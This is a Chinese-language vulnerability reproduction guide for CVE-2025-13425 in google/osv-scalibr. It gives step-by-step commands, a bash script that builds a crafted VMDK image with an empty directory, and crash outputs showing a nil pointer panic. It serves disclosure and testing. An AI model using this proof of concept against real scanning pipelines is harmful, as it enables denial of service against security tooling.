要复现 CVE-2025-13425,只需按以下步骤操作:
步骤 1:克隆最新的 osv-scalibr 源代码:
$ git clone https://github.com/google/osv-scalibr
步骤 2:移除修复提交 https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672 中提到的代码
步骤 3:使用 vmdk.go.patch 补丁,通过以下命令将其应用到 vmdk.go:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
为什么我们需要修改 vmdk.go?
这只是一个示例,此 bug 并不局限于 vmdk 插件。为了触发该 bug,需要进行此修改。当用户编写自己的插件遍历包含在一个文件中的虚拟文件系统时,该 bug 就会被触发。该 bug 存在于 osv-scalibr 处理虚拟文件系统的方式中。此 bug 在编译或生产过程中不会被发现,但当用户提供一个至少包含一个空目录的 vmdk 文件时,它会被触发。
步骤 4:编译源代码,获取 "scalibr" 二进制文件:
$ make clean && make
步骤 5:触发漏洞:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
预期输出:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
或者
你可以生成一个包含空目录的恶意(或最小)vmdk 镜像。为此,创建一个包含以下代码的新 bash 脚本(比如 gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
然后,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
这将创建一个名为 "malicious.vmdk" 的文件。现在通过以下命令触发漏洞:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
预期输出:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 由 Yuvraj Saxena ([email protected]) 发现。